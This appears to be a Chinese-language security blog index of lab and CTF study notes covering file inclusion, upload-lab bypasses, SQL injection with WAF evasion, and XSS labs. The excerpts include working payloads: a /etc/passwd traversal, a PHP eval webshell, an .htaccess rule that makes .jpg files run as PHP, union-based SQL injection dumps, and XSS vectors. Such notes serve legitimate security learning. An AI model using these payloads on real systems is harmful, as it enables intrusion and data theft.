文件包含
文件包含文件包含分为本地包含和远程包含。最基础的检测方式:本地包含:?file=../../../etc/passwd远程包含:?file=http://www.baidu.com这两种是最基础的检测方式,用以判断是否存在文件包含漏洞。检测完成后在使用对应的利用方式进行利用。常见的利用方式:获取敏感信息:包含一些特殊的配置文件,获取敏感信息;图片getshell;临时文件getshell;session文件getshell;日志文件getshell(Apach、SSH等等);利用php伪协议进行攻击(会成为最常见的方式):
file://php://php://filterphp://inputzip:// & bzip2:// & zlib://data://phar://
伪协议file:// 协议本地文件传输 ...
文件上传
PHP eval() 函数把字符串参数当作 PHP 代码执行
1mixed eval ( string $code )
参数 $code 是需要被执行的字符串
返回值类型 mixed 是指存在多种不同类型的返回值,默认返回 NULL;如果代码中 return 了一个值,则该值也作为函数的返回值返回;如果代码中出现解析错误,则在 PHP7 之前,返回 FALSE,在 PHP7 之后,抛出 ParseError 异常。
注意事项:
字符串中代码不要忘记语句末尾的分号;
return 语句会终止当前字符串的执行;
eval() 函数中任何的变量定义或修改,都会在函数结束后被保留;
若在代码执行过程中产生致命错误,则整个脚本都会终止。
Rule 1:单引号内不解析变量,双引号内解析变量
$x = ‘hello $name’; //单引号内变量不被解析$y = “hello $name”; //双引号内变量会被解析
hello $namehello Alice
Rule 2:PHP 字符串中嵌套引号的解析是由外向里的,且只解析 ...
文件上传漏洞靶场
Pass-01)
前端检测
onsumbit=checkFile():调用js函数来检查上传文件的扩展名。
<?php@eval($_POST['cmd']);?>
修改后缀名为jpg,burpsuit抓包改后缀名改为php。
Pass-02后端检测
做法同Pass-01
Pass-03黑名单限制
burpsuit抓包改后缀名改为phtml。
Pass-04黑名单限制大部分后缀
.htaccess文件(分布式配置文件):提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
创建一个.hatacess文件上传
AddType application/x-httpd-php .jpg
无论什么文件只要包含了jpg都视为php来解析
在上传带有一句话木马的jpg文件
Pass-05
法一:在php后面加上“。。”
法二:.user.ini文件:php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini ...
SQL绕过
漏洞的类型SQL注入的具体判断流程:1.注入点测试:
测试交互方式,判断浏览器提交数据和web浏览器的交互方式。
2.判断字符的类型:整数型还是字符型
3.构造闭合:(字符型需要,整型不需要)
4.查询字段数:构造SQL语句并判断数据库表的行数
5.判断回显位:构造SQL语句,找到数据库回显的位置
6.查询数据库的基本信息:数据库名字、版本
7.爆数据库的敏感信息:数据库表名、字段名(列名)、字符中的数据
信息收集
Description
Query
Version
SELECT @@version;
User
SELECT user() SELECT system_user();
Users
SELECT user FROM mysql.user * SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1;
Tables
SELECT table_schema, table_name FROM information_schema.tables;
Columns
SELEC ...
BypassWaf_sql
①注释
12345678`#``--``-- -``--+``//``/**/``/*letmetest*/``;%00`
科学计数法
1`select id,id_number,weibo from table where id=0e1union select user,password,1e1from mysql.user`
空白字符:
SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,2
+号
12`select * from users where user_id=1e8union(select+1,(select schema_name from information_schema.schemata limit 1 ...
SQL-labs
less1尝试?id=1
?id=1‘ 报错
?id=1’–+正常(+URL解码为空格)
说明可以用注释符绕过
判断字段数
?id=1’ order by 3–+正常
union注入
?id=-1’ union select 1,2,3–+
爆库名
?id=1’ and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
爆表名
?id=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables–+
?id=1’ and 1=2 union select 1,2,group_concat(flag) from ctftraining.flag–+
Less2?id=1”报错,说明参数未被引号包裹,判断是数字型
?id=1 –+正常
判断 ...
PHP
PHP语法
变量规则:变量以 $ 符号开始变量名必须以字母或者下划线字符开始变量名不能包含空格变量名是区分大小写的
PHP NULL 值NULL 值表示变量没有值。NULL 是数据类型为 NULL 的值。NULL 值指明一个变量是否为空值。 同样可用于数据空值和NULL值的区别。可以通过设置变量值为 NULL 来清空变量数据
PHP 资源类型PHP 资源 resource 是一种特殊变量,保存了到外部资源的一个引用。常见资源数据类型有打开文件、数据库连接、图形画布区域等。由于资源类型变量保存有为打开文件、数据库连接、图形画布区域等的特殊句柄,因此将其它类型的值转换为资源没有意义。
PHP 类型比较虽然 PHP 是弱类型语言,但也需要明白变量类型及它们的意义,因为我们经常需要对 PHP 变量进行比较,包含松散和严格比较。松散比较:使用两个等号 == 比较,只比较值,不比较类型。严格比较:用三个等号 === 比较,除了比较值,也比较类型。
PHP常量设置 PHP 常量设置常量,使用 define() 函数。bool define ( st ...
SQL注入漏洞
SQL注入漏洞1.原理:1参数用户可控:前端传给后端的参数内容是用户可以控制的。
2参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
2.基础SQL语句:select column_name from tables_name
在表tables_name中查询字段column_name
select column_name from tables_name where 已知字段名=已知的条件
在已知的条件下,在表tables_name中查询字段column_name
3.information_schemaMySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,需要记住三个表名,分别是:schemata、tables、columns。
1.schemata表存储该用户创建的所有数据库的库名。
数据库库名的字段名为:schemata_name
2.tables表存储该用户创建的所有数据库的库名和表名。
数据库库名和表名的字段名分别是:tables_schema和table_n ...
xss-lab
xsslevel 1url?name=<script>alert()</script>
level 2<script>alert()</script>
闭合双引号
"><script>alert()</script><"
level 3<script>alert()</script>
‘ onfocus=javascript:alert() ‘
再点击输入框
level 4
“ onfocus=javascript:alert() “
再点击输入框
level 5
"><a href=javascript:alert()>xxx</a> <"
level 6“>alert()<”
大小写绕过
“>alert()<”level 7“>alert()<”
发现过滤script
双写
“>alert()<”
level 8
发现sc ...
xss绕过总结
xss绕过总结一、xss 常见标签语句12345`<a href="javascript:alert(1)">test</a>``<img src=x onerror="alert(1)">``<iframe src="javascript:alert(1)">test</iframe>``<svg onload=javascript:alert(1)>``<input onfocus="alert('xss');" autofocus="">`
二、xss 常见绕过1.编码绕过浏览器对 XSS 代码的解析顺序为:**HTML解码 —— URL解码 —— JS解码(只支持UNICODE)**。
1.html 实体编码当可控点为单个标签属性时,可以使用 html 实体编码。
1`<a href="可控点">test</a>`
1`<a ...